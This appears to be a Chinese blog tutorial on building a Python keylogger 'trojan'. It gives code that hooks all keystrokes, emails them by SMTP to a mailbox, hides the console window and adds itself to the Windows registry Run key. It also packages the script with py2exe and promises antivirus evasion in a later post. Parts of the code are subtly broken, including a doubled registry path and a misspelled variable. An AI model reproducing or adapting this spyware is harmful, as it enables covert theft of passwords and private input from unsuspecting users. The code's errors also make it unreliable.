python之键盘监听木马(SMTP信箱收取监听结果、修改注册表自启动)

时间:2022-09-04 14:03:27

最近接触了python的win32库,库子提供了不少可用于windows开发的API,这里就利用这个为原理制作一个键盘监听木马的雏形。

这里需要使用额外的模块pythonHook(放置钩子时),pythoncom

主要监听功能相关代码:

#放置键盘监听钩子
def seeing():
    
      PH=pyHook.HookManager()
      PH.KeyDown=KeyboardEvent
      
      PH.HookKeyboard()
      pythoncom.PumpMessages() 

#键盘事件
def KeyboardEvent(event):
   
    #print event.Key,
    if len(a)<=20:#这里用于实验只但满20字符时发送邮件,可自行加大
       
       a.append(event.Key)
    else:
       text=''.join(a)
       if send_mail(to,"键盘记录test1",text): 
          print "Suceed!" 
       else: 
          print "Failed!"
       sys.exit(0)
       
    return True

  这段是该程序核心功能的代码,用于监听所有键盘事件,并将其存于list_a 中。

接下来就是利用SMTP协议

发送键盘事件的记录结果:

相关代码如下:

#smtp发邮件
import sys
import re
import urllib
import smtplib
import random
from email.mime.text import MIMEText 
 #可根据协议或smtp服务器自行更改
to=['******@163.com']
host="smtp.163.com"  #smtp服务器
user="****"    #用户名
password="******"   #密码
postfix="163.com"  #后缀
#发送信件函数
def send_mail(to_list,sub,content): 
    me="键盘记录"+"<"+user+"@"+postfix+">" 
    msg = MIMEText(content,_subtype='plain',_charset='gb2312') 
    msg['Subject'] = sub 
    msg['From'] = me 
    msg['To'] = ";".join(to_list) 
    try: 
        server = smtplib.SMTP() 
        server.connect(host) 
        server.login(user,password) 
        server.sendmail(me, to_list, msg.as_string()) 
        server.close() 
        return True 
    except Exception, e: 
        print str(e) 
        return False 

 

核心功能部分雏形就完成了,现在对该监听程序进行修饰:

监听进行时,不该有console窗体,应该仅在后台进程进行。下面是关于如何启动时没有console窗体而在后台默默进行。

相关代码:

import ctypes
#隐藏console窗体
def hiding():
   whnd = ctypes.windll.kernel32.GetConsoleWindow()
   if whnd != 0:
      ctypes.windll.user32.ShowWindow(whnd, 0)
      ctypes.windll.kernel32.CloseHandle(whnd)

 但仅仅以上是不够的,一个完整的木马程序还需要包括自我传播、自启动。 

这里需要我们修改windos的注册表信息,winapi这个库中提供了方法:

1.首先需要获得执行程序自身所在位置。

相关代码:

   

#获得木马所在位置
def path():
   import inspect,os
   caller_file=inspect.stack()[1][1]
   
   return os.path.abspath(os.path.dirname(caller_file))

2.修改注册表信息:

相关代码:

def autorun():
   path_way=path()
   key = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,
'SOFTWARE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run',0, win32con.KEY_ALL_ACCESS)
   win32.RegCreateKey(key,pathon_way)#给注册表自启动项添加木马所在路径
   win32.RegCloseKey(key)
   return 
   

  

这样一个监听键盘事件的木马雏形就基本完成了,当然还包括如何自我传播(下一篇会详细提到)。

这里会注意到一个问题,大多数计算机没有安装python解释器,关于python如何在其他windows程序上执行,我使用了py2exe,distutils提供的方法,

新版本的distutuils在py2exe中。

首先创造一个setup.py

相关代码如下:

#setup.py
from distutils.core import setup
import py2exe

setup(console=["hiding.py"])#此处为需要封装的python文件名

  

 

然后再console中执行:

python setup.py py2exe

  

然后就生成了py2exe,这样一个监听键盘信息的木马程序就完成了。

试着运行一下:

python之键盘监听木马(SMTP信箱收取监听结果、修改注册表自启动)

明文传输,但短时间在接受几百封邮件后服务器有可能会将邮箱冻结,所以接受键盘事件信息的方式可以改进,比如换一种更加适合的通讯协议。

在后续的文章中会提到如何加壳过各种杀毒软件。

ps:该文章仅用于学习研究,不要轻易越界!